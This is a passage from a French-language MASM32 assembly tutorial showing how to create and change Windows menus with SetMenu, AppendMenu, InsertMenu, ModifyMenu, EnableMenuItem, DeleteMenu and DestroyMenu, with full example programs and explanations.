IDM_ITEM3 equ 3
IDM_EXIT equ 4

.CODE
start:
invoke GetModuleHandle, NULL

mov hInstance,eax
invoke GetCommandLine

mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND

    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,NULL,\
                ADDR ClassName,\
                ADDR AppName,\
                WS_OVERLAPPEDWINDOW,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                NULL,\
                NULL,\
                hInst,\
                NULL
    mov   hwnd,eax
    invoke LoadMenu, hInst, addr NomMenu ;<-- charge le menu en mémoire (mais ne l'affiche pas)
    mov hMenu, eax
    invoke SetMenu, hwnd, hMenu ;<-- Assigne un nouveau menu à une fenêtre. Puisque notre
    invoke ShowWindow, hwnd,CmdShow ; fenêtre était dépourvue de menu, voici le sien. Si elle
    invoke UpdateWindow, hwnd		; possédait déjà un menu, celui-ci remplace l'ancien.

    .WHILE TRUE
                invoke GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
   .ENDW
    mov     eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .ELSEIF uMsg==WM_COMMAND
        mov eax,wParam
        .IF ax==IDM_ITEM1
            ; On a cliqué sur l'item: Item1
        .ELSEIF ax==IDM_ITEM2
            ; On a cliqué sur Item2
        .ELSEIF ax==IDM_ITEM3
            ; On a cliqué sur Item3
        .ELSE
            invoke DestroyWindow,hWnd
        .ENDIF
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

end start
-------------------------------
Il existe d'autres façons de créer un Menu de départ, je pense en particulier au fait de délarer le menu dans les paramètres de la fonction CreateWindowEx, ce qui évite l'utilisation de SetMenu. Ou bien une façon détournée de construire un menu est d'utiliser l'API CreateMenu (lequel crée un menu VIDE mais revoie son Handle), puis d'utiliser AppendMenu ou InsertMenu pour le remplir. Cette méthode présente la particularité de ne pas avoir besoin de fichier de ressources (*.rc).
AppendMenu et DrawMenuBar Retour

AppendMenu est une vielle API il est considéré comme étant obsolète, cependant il fonctionne toujours très bien pour des raisons de compatibilité avec les anciens logiciels.
AppendMenu 'ajoute' un Item à la fin d'un menu. Il est ajouté mais n'est pas rendu visible, pour cela il faut faire appel à DrawMenuBar pour rafraîchir le menu de la fenêtre concernée. DrawMenuBar est en fait indispensable à chaque fois qu'on utilise une API modifiant le Menu, c'est un peu l'équivalent de UpdateWindow qui elle sert à rafraîchir le contenu de la fenêtre.
ATTENTION: Contrairement à ce qu'on pourrait s'attendre, l'Item à rajouté ne fait pas parti du ficher de Ressource (*.rc) comme le reste du Menu. Le remplaçant de AppendMenu est désormais InsertMenu

Exemple:
Le fichier de ressources (*.rc) est le même menu que toujours, le fait d'ajouter un nouvel Item
à ce Menu n'entre pas en compte dans cette partie.

Après avoir ajouté notre nouvel Item le menu ressemblera à ceci:

      |Menu Popup| |Item3| |AjoutItem|
      |  Item1   |
      |  Item2   |
      |  Exit    |

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
NomMenu db "PremierMenu",0 ;<-- NomMenu appartient au fichier *.rc
Ajout db "AjoutItem",0 ;<-- Nom de l'Item à ajouter
ajouter db 0	;<-- Quand il sera à 1, c'est que l'Item aura bien été ajouté

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ? ;<-- Handle du menu

.const
IDM_ITEM1 equ 1
IDM_ITEM2 equ 2
IDM_ITEM3 equ 3
IDM_EXIT equ 4
IDM_ITEM5 equ 5 ;<-- n°ID du nouvel Item (ne fait pas parti du *.rc)

.CODE
start:
invoke GetModuleHandle, NULL

mov hInstance,eax
invoke GetCommandLine

mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND

    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,NULL,\
                ADDR ClassName,\
                ADDR AppName,\
                WS_OVERLAPPEDWINDOW,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                NULL,\
                NULL,\
                hInst,\
                NULL
    mov   hwnd,eax
    invoke LoadMenu, hInst, addr NomMenu ;<-- charge puis
    mov hMenu, eax
    invoke SetMenu, hwnd, hMenu ;<-- affiche le menu normal
    invoke ShowWindow, hwnd,CmdShow
    invoke UpdateWindow, hwnd

    .WHILE TRUE
                invoke GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
   .ENDW
    mov     eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .ELSEIF uMsg==WM_COMMAND
        mov eax,wParam
        .IF ax==IDM_ITEM1
            ; On a cliqué sur l'item: Item1
            .IF ajouter==0
            invoke AppendMenu, hMenu, MF_STRING, IDM_ITEM5, ADDR Ajout
            invoke DrawMenuBar, hWnd
            mov ajouter, 1
            .ENDIF
        .ELSEIF ax==IDM_ITEM2
            ; On a cliqué sur Item2
        .ELSEIF ax==IDM_ITEM3
            ; On a cliqué sur Item3
        .ELSEIF ax==IDM_ITEM5
            ; On a cliqué sur Item5 (l'item rajouté)
        .ELSE
            invoke DestroyWindow,hWnd
        .ENDIF
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

end start
InsertMenu et DrawMenuBar Retour

InsertMenu sert à insérer un Item dans un Menu. Puisque cet API modifie le menu existant, il faut également faire appel à la fonction DrawMenuBar pour rafraîchir ce menu.
Il y a deux principales manières d'insérer un Item dans un Menu, soit vous l'insérez au-dessus du nom ou plutôt au dessus de l'IDENTIFICATEUR d'un item connu du menu (grâce à MF_BYCOMMAND), soit vous l'insérez au-dessus de la POSITION d'un Item du Menu, ex: au-dessus du 2e Item du Menu (grâce à MF_BYPOSITION).
Cet exemple se servira de la méthode par Identification (MF_BYCOMMAND) je la détaillerai à la fin de l'exemple, et vous donnerai aussi une petite vue sur l'autre méthode.
Après avoir ajouté notre nouvel Item le menu ressemblera à ceci:

      |Menu Popup| |Item3|
      |  Item1   |
      |InsertItem|
      |  Item2   |
      |  Exit    |

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
NomMenu db "PremierMenu",0 ;<-- NomMenu appartient au fichier *.rsc
Insert db "InsertItem",0 ;<-- Nom de l'Item à insérer.
inserer db 0		;<-- Quand il sera à 1, c'est que l'Item aura bien été inséré.

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ? ;;<-- Handle du menu

.const
IDM_ITEM1 equ 1
IDM_ITEM2 equ 2
IDM_ITEM3 equ 3
IDM_EXIT equ 4
IDM_ITEM5 equ 5 ;<-- n°ID du nouvel Item (ne fait pas parti du *.rc)

.CODE
start:
invoke GetModuleHandle, NULL

mov hInstance,eax
invoke GetCommandLine

mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND

    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,NULL,\
                ADDR ClassName,\
                ADDR AppName,\
                WS_OVERLAPPEDWINDOW,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                NULL,\
                NULL,\
                hInst,\
                NULL
    mov   hwnd,eax
    invoke LoadMenu, hInst, addr NomMenu ;<-- charge puis
    mov hMenu, eax
    invoke SetMenu, hwnd, hMenu ;<-- affiche le menu normal.
    invoke ShowWindow, hwnd,CmdShow
    invoke UpdateWindow, hwnd

    .WHILE TRUE
                invoke GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
   .ENDW
    mov     eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .ELSEIF uMsg==WM_COMMAND
        mov eax,wParam
        .IF ax==IDM_ITEM1
            ; On a cliqué sur l'item: Item1
            .IF inserer==0
            invoke InsertMenu, hMenu, IDM_ITEM2, MF_STRING+MF_BYCOMMAND, IDM_ITEM5, ADDR Insert
            invoke DrawMenuBar, hWnd
            mov inserer, 1
            .ENDIF
        .ELSEIF ax==IDM_ITEM2
            ; On a cliqué sur Item2
        .ELSEIF ax==IDM_ITEM3
            ; On a cliqué sur Item3
        .ELSEIF ax==IDM_ITEM5
            ; On a cliqué sur Item5 (l'item inséré)
        .ELSE
            invoke DestroyWindow,hWnd
        .ENDIF
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

end start
-

Explication:

invoke InsertMenu, hMenu,\ ;<-- Identifie le Menu dans lequel sera inséré l'Item.
           IDM_ITEM2,\ ;<-- n°ID de l'Item au-dessus duquel sera inséré le nouvel Item.
        MF_STRING+MF_BYCOMMAND,\ ; (VOIR PLUS BAS)
        IDM_ITEM5,\ ;<-- n°ID du nouvel Item.
        ADDR Insert ;<-- adresse de la chaîne de caractère représentant ce nouvel Item.
MF_STRING: Indique un Item de type 'Texte' (on aurait pu l'omettre car il est pris par défaut). L'autre type d'Item est de type 'Dessin' avec MF_BITMAP ou MF_OWNERDRAW. Le dernier paramètre de cette fonction est donc le pointeur qui est sur la chaîne de caractère qui représente ce texte/nom.

MF_BYCOMMAND: Signifie qu'on se sert d'une insertion par rapport au n°ID d'un autre Item du menu. c'est pour cette raison que le second paramètre de cette fonction est le n°ID d'un Item. Ici on insère donc notre nouvel Item au-dessus de celui qui possède le n°ID ID_ITEM2.
Pour utiliser l'autre méthode d'insertion nous devons remplacer ce paramètre par MF_BYPOSITION et dans ce cas le second paramètre IDM_ITEM2 doit être supprimé et remplacer par la position de l'Item du menu avant lequel le nouvel Item sera inséré. Ici nous n'avons que deux Items (racine) qui sont Menu Popup et Item3 les autres sont des sous-Items du Menu Popup.

invoke InsertMenu, hMenu,\	 	  ; Ce qui donne :
           2,\			  ; |Menu Popup| |InsertItem| |Item3|
        MF_STRING+MF_BYPOSITION,\ ; |  Item1   |
        IDM_ITEM5,\		  ; |  Item2   |
        ADDR Insert 		  ; |  Exit    |
Pour insérer un Item parmi ceux du Popup en utilisant l'insertion par positionnement, nous devons utiliser en plus le flag 'MF_POPUP' pour atteindre les items du popup et en prime retrouver l'Handle du Popup.

Je ne saurai trop vous conseillé de jeté un coup d'oeil sur le manuel officiel W32API car il y a d'autres éléments non détaillés ici.
ModifyMenu et DrawMenuBar Retour

ModifyMenu sert à modifier ou remplacer l'Item d'un Menu par un autre. Cet API fonctionne exactement comme InsertMenu si ce n'est qu'ici le n°ID de l'Item du Menu qu'on lui passe sera celui qui sera remplacé (Et non pas l'Item au-dessus duquel était inséré le nouvel Item comme précédement).

Voici ce que nous obtenons:

      |Menu Popup| |Item3|				 |Menu Popup| |Item3|
      |  Item1   |					 |  Item1   |
      |  Item2   |			---->		 |ModifiItem|
      |  Exit    |					 |  Exit    |

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
NomMenu db "PremierMenu",0 ;<-- NomMenu appartient au fichier *.rc
Modifie db "ModifiItem",0 ;<-- Nom du nouvel Item qui Modifiera l'ancien.
modifier db 0		;<-- Quand il sera à 1, c'est que l'Item aura bien été Modifié.

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ? ;<-- Handle du menu

.const
IDM_ITEM1 equ 1
IDM_ITEM2 equ 2
IDM_ITEM3 equ 3
IDM_EXIT equ 4
IDM_ITEM5 equ 5 ;<-- n°ID du nouvel Item (ne fait pas parti du *.rc)

.CODE
start:
invoke GetModuleHandle, NULL

mov hInstance,eax
invoke GetCommandLine

mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND

    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,NULL,\
                ADDR ClassName,\
                ADDR AppName,\
                WS_OVERLAPPEDWINDOW,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                NULL,\
                NULL,\
                hInst,\
                NULL
    mov   hwnd,eax
    invoke LoadMenu, hInst, addr NomMenu ;<-- charge puis
    mov hMenu, eax
    invoke SetMenu, hwnd, hMenu ;<-- affiche le menu normal.
    invoke ShowWindow, hwnd,CmdShow
    invoke UpdateWindow, hwnd

    .WHILE TRUE
                invoke GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
   .ENDW
    mov     eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .ELSEIF uMsg==WM_COMMAND
        mov eax,wParam
        .IF ax==IDM_ITEM1
            ; On a cliqué sur l'item: Item1
            .IF modifier==0
            invoke ModifyMenu, hMenu, IDM_ITEM2, MF_STRING+MF_BYCOMMAND, IDM_ITEM5, ADDR Modifie
            invoke DrawMenuBar, hWnd
            mov modifier, 1
            .ENDIF
        .ELSEIF ax==IDM_ITEM2
            ; On a cliqué sur Item2
        .ELSEIF ax==IDM_ITEM3
            ; On a cliqué sur Item3
        .ELSEIF ax==IDM_ITEM5
            ; On a cliqué sur Item5 (l'item Modifié)
        .ELSE
            invoke DestroyWindow,hWnd
        .ENDIF
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

end start
Regardez plutôt la partie sur la fonction InsertMenu pour plus de détails, c'est EXACTEMENT le même esprit.
EnableMenuItem Retour

EnableMenuItem sert à Activer, Désactiver ou Griser l'Item d'un Menu.

      |Menu Popup| |Item3|		 |Menu Popup| |Item3|		 |Menu Popup| |Item3|
      |  Item1   |			 |  Item1   |			 |  Item1   |
      |  Item2   |			 |  Item2   |			 |  Item2   |
      |  Exit    |			 |  Exit    |			 |  Exit    |

Exemple:

(Menu.asm)

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
NomMenu db "PremierMenu",0 ;<-- NomMenu appartient au fichier *.rc

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ?

.const
IDM_ITEM1 equ 1
IDM_ITEM2 equ 2
IDM_ITEM3 equ 3
IDM_EXIT equ 4

.CODE
start:
invoke GetModuleHandle, NULL

mov hInstance,eax
invoke GetCommandLine

mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND

    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,NULL,\
                ADDR ClassName,\
                ADDR AppName,\
                WS_OVERLAPPEDWINDOW,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                NULL,\
                NULL,\
                hInst,\
                NULL
    mov   hwnd,eax
    invoke LoadMenu, hInst, addr NomMenu ;<-- charge le menu en mémoire (mais ne l'affiche pas)
    mov hMenu, eax
    invoke SetMenu, hwnd, hMenu ;<-- Assigne un nouveau menu à une fenêtre. Puisque notre
    invoke ShowWindow, hwnd,CmdShow ; fenêtre était dépourvue de menu, voici le sien. Si elle
    invoke UpdateWindow, hwnd		; possédait déjà un menu, celui-ci remplace l'ancien.

    .WHILE TRUE
                invoke GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
   .ENDW
    mov     eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .ELSEIF uMsg==WM_COMMAND
        mov eax,wParam
        .IF ax==IDM_ITEM1
            ; On a cliqué sur l'item: Item1 ;<-- Quand on clique sur l'Item1
            invoke EnableMenuItem, hMenu, IDM_ITEM3, MF_BYCOMMAND+MF_ENABLED ; On active l'Item3
            invoke EnableMenuItem, hMenu, IDM_ITEM1, MF_BYCOMMAND+MF_DISABLED+MF_GRAYED ; Et déactive le 1
            invoke DrawMenuBar, hWnd ;<-- On rafraîchit le Menu.
        .ELSEIF ax==IDM_ITEM2
            ; On a cliqué sur Item2
        .ELSEIF ax==IDM_ITEM3
            ; On a cliqué sur Item3 ;<-- Quand on clique sur l'Item3
            invoke EnableMenuItem, hMenu, IDM_ITEM3, MF_BYCOMMAND+MF_DISABLED+MF_GRAYED ; On déactive le 3
            invoke EnableMenuItem, hMenu, IDM_ITEM1, MF_BYCOMMAND+MF_ENABLED ; Et réactive l'Item 1
            invoke DrawMenuBar, hWnd ;<-- On rafraîchit le Menu.
        .ELSE
            invoke DestroyWindow,hWnd
        .ENDIF
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

end start
C'est certainement la fonction la plus utilisée concernant les Menus. C'est aussi l'une des plus simples.
DeleteMenu / RemoveMenu Retour

Cette fonction efface un Item d'après son n°ID (si on utilise MF_BYCOMMAND) ou d'après sa position dans le menu (si on utilise le flag MF_BYPOSITION)

      |Menu Popup| |Item3|		 |Menu Popup| |Item3|
      |  Item1   |			 |  Item2   |
      |  Item2   |			 |  Exit    |
      |  Exit    |
Exemple:

(Menu.asm)

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
NomMenu db "PremierMenu",0 ;<-- NomMenu appartient au fichier *.rc

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ?

.const
IDM_ITEM1 equ 1
IDM_ITEM2 equ 2
IDM_ITEM3 equ 3
IDM_EXIT equ 4

.CODE
start:
invoke GetModuleHandle, NULL

mov hInstance,eax
invoke GetCommandLine

mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND

    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,NULL,\
                ADDR ClassName,\
                ADDR AppName,\
                WS_OVERLAPPEDWINDOW,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                NULL,\
                NULL,\
                hInst,\
                NULL
    mov   hwnd,eax
    invoke LoadMenu, hInst, addr NomMenu ;<-- charge le menu en mémoire (mais ne l'affiche pas)
    mov hMenu, eax
    invoke SetMenu, hwnd, hMenu ;<-- Assigne un nouveau menu à une fenêtre. Puisque notre
    invoke ShowWindow, hwnd,CmdShow ; fenêtre était dépourvue de menu, voici le sien. Si elle
    invoke UpdateWindow, hwnd		; possédait déjà un menu, celui-ci remplace l'ancien.

    .WHILE TRUE
                invoke GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
   .ENDW
    mov     eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .ELSEIF uMsg==WM_COMMAND
        mov eax,wParam
        .IF ax==IDM_ITEM1
            ; On a cliqué sur l'item: Item1
            invoke DeleteMenu, hMenu, IDM_ITEM2, MF_BYCOMMAND
        .ELSEIF ax==IDM_ITEM2
            ; On a cliqué sur Item2
        .ELSEIF ax==IDM_ITEM3
            ; On a cliqué sur Item3
        .ELSE
            invoke DestroyWindow,hWnd
        .ENDIF
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

end start
Ici vous n'avez pas besoin de placer l'API DrawMenuItem sous DeleteMenu car on efface un Item du Popup. Et oui le fait de refermer et dérouler le Popup le rafraîchit automatiquement. Ça n'aurait pas été le cas pour l'Item3 par contre.

RemoveMenu prend EXACTEMENT les mêmes paramètres et donne le même résultat, à la petite différence près qu'avec cette fonction si c'est un Popup-Menu qu'on efface, son handle est abandonné mais pas détruit. Ainsi on peut rappeler ce menu Popup en retrouvant d'abord son handle grâce à l'API GetSubMenu.
DestroyMenu Retour

Cette fonction enlève définitivement d'une fenêtre la totalité d'un Menu (d'après son handle). Le menu est déchargé (des ressources). Ainsi si vous souhaitez par la suite le rappeler ou en appeler un autre il vous faudra utiliser l'API SetMenu de nouveau pour le rechargé en ressources.

Exemple:

(Menu.asm)

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
NomMenu db "PremierMenu",0 ;<-- NomMenu appartient au fichier *.rc

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ?

.const
IDM_ITEM1 equ 1
IDM_ITEM2 equ 2
IDM_ITEM3 equ 3
IDM_EXIT equ 4

.CODE
start:
invoke GetModuleHandle, NULL

mov hInstance,eax
invoke GetCommandLine

mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND

    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,NULL,\
                ADDR ClassName,\
                ADDR AppName,\
                WS_OVERLAPPEDWINDOW,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                NULL,\
                NULL,\
                hInst,\
                NULL
    mov   hwnd,eax
    invoke LoadMenu, hInst, addr NomMenu ;<-- charge le menu en mémoire (mais ne l'affiche pas)
    mov hMenu, eax
    invoke SetMenu, hwnd, hMenu ;<-- Assigne un nouveau menu à une fenêtre. Puisque notre
    invoke ShowWindow, hwnd,CmdShow ; fenêtre était dépourvue de menu, voici le sien. Si elle
    invoke UpdateWindow, hwnd		; possédait déjà un menu, celui-ci remplace l'ancien.

    .WHILE TRUE
